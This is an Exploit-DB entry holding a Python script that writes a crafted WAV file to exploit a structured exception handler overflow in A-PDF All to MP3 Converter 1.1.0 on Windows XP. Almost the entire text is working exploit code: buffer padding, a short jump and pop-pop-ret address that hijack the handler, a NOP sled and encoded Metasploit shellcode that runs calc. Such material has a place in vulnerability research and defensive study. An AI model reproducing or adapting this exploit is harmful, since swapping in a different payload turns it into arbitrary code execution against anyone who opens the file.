A-PDF All to MP3 Converter 1.1.0 - Universal Local (SEH)

EDB-ID:

15033

CVE:

68132

Author:

modpr0be

Type:

local

Platform:

Windows

Published:

2010-09-17

#!/usr/bin/python

################################################################################
# Exploit Title: A-PDF All to MP3 Converter v.1.1.0 Universal Local SEH Exploit
# Date: September 18, 2010
# Author: modpr0be
# Software Link: http://www.a-pdf.com/all-to-mp3/download.htm
# Version: 1.1.0
# Tested on: Windows XP SP3
# 
# Open application --> Next --> Add --> blah.wav --> calc will pop out
#
# Other applications made by a-pdf may be affected.
# this exploit is simply reference from EDB 14681 and 14676
# Exploit using direct EIP is also working.
#
# thx: amalia, offsec, xecureit, jasakom, oebaj, 0x70y, postnix. 
################################################################################


import struct

junk1 = 'A' * 4132
nseh = "\xeb\x06\x90\x90"
seh = struct.pack('<L', 0x00408B44) # ppr
nops2 = "\x90" * 12
# metasploit payload
# windows/exec cmd=calc | msfencode -e x86/alpha_upper
# size 462 bytes
shellcode = ("\x89\xe1\xda\xde\xd9\x71\xf4\x5a\x4a\x4a\x4a\x4a\x4a\x43\x43"
"\x43\x43\x43\x43\x52\x59\x56\x54\x58\x33\x30\x56\x58\x34\x41"
"\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41\x42\x41\x41\x42"
"\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x58\x50"
"\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x4d\x38\x4b\x39\x43\x30\x43"
"\x30\x43\x30\x43\x50\x4c\x49\x4d\x35\x46\x51\x48\x52\x43\x54"
"\x4c\x4b\x50\x52\x50\x30\x4c\x4b\x46\x32\x44\x4c\x4c\x4b\x50"
"\x52\x44\x54\x4c\x4b\x44\x32\x51\x38\x44\x4f\x4e\x57\x50\x4a"
"\x51\x36\x50\x31\x4b\x4f\x50\x31\x49\x50\x4e\x4c\x47\x4c\x45"
"\x31\x43\x4c\x44\x42\x46\x4c\x47\x50\x49\x51\x48\x4f\x44\x4d"
"\x45\x51\x4f\x37\x4d\x32\x4c\x30\x46\x32\x51\x47\x4c\x4b\x46"
"\x32\x42\x30\x4c\x4b\x50\x42\x47\x4c\x43\x31\x48\x50\x4c\x4b"
"\x47\x30\x43\x48\x4d\x55\x49\x50\x44\x34\x51\x5a\x43\x31\x4e"
"\x30\x46\x30\x4c\x4b\x51\x58\x45\x48\x4c\x4b\x50\x58\x47\x50"
"\x45\x51\x48\x53\x4d\x33\x47\x4c\x51\x59\x4c\x4b\x50\x34\x4c"
"\x4b\x43\x31\x49\x46\x50\x31\x4b\x4f\x46\x51\x4f\x30\x4e\x4c"
"\x4f\x31\x48\x4f\x44\x4d\x43\x31\x49\x57\x47\x48\x4b\x50\x44"
"\x35\x4c\x34\x43\x33\x43\x4d\x4c\x38\x47\x4b\x43\x4d\x46\x44"
"\x42\x55\x4b\x52\x51\x48\x4c\x4b\x51\x48\x51\x34\x43\x31\x48"
"\x53\x45\x36\x4c\x4b\x44\x4c\x50\x4b\x4c\x4b\x50\x58\x45\x4c"
"\x43\x31\x48\x53\x4c\x4b\x45\x54\x4c\x4b\x45\x51\x4e\x30\x4b"
"\x39\x50\x44\x47\x54\x46\x44\x51\x4b\x51\x4b\x43\x51\x46\x39"
"\x50\x5a\x50\x51\x4b\x4f\x4b\x50\x50\x58\x51\x4f\x51\x4a\x4c"
"\x4b\x44\x52\x4a\x4b\x4d\x56\x51\x4d\x42\x4a\x43\x31\x4c\x4d"
"\x4c\x45\x48\x39\x43\x30\x45\x50\x43\x30\x50\x50\x43\x58\x50"
"\x31\x4c\x4b\x42\x4f\x4d\x57\x4b\x4f\x49\x45\x4f\x4b\x4c\x30"
"\x48\x35\x49\x32\x50\x56\x45\x38\x4e\x46\x4d\x45\x4f\x4d\x4d"
"\x4d\x4b\x4f\x48\x55\x47\x4c\x43\x36\x43\x4c\x45\x5a\x4b\x30"
"\x4b\x4b\x4b\x50\x42\x55\x43\x35\x4f\x4b\x47\x37\x45\x43\x42"
"\x52\x42\x4f\x43\x5a\x43\x30\x50\x53\x4b\x4f\x49\x45\x45\x33"
"\x45\x31\x42\x4c\x45\x33\x43\x30\x45\x5a\x41\x41")

payload = junk1+nseh+seh+nops2+shellcode

file = open('blah.wav','w')
file.write(payload)
file.close()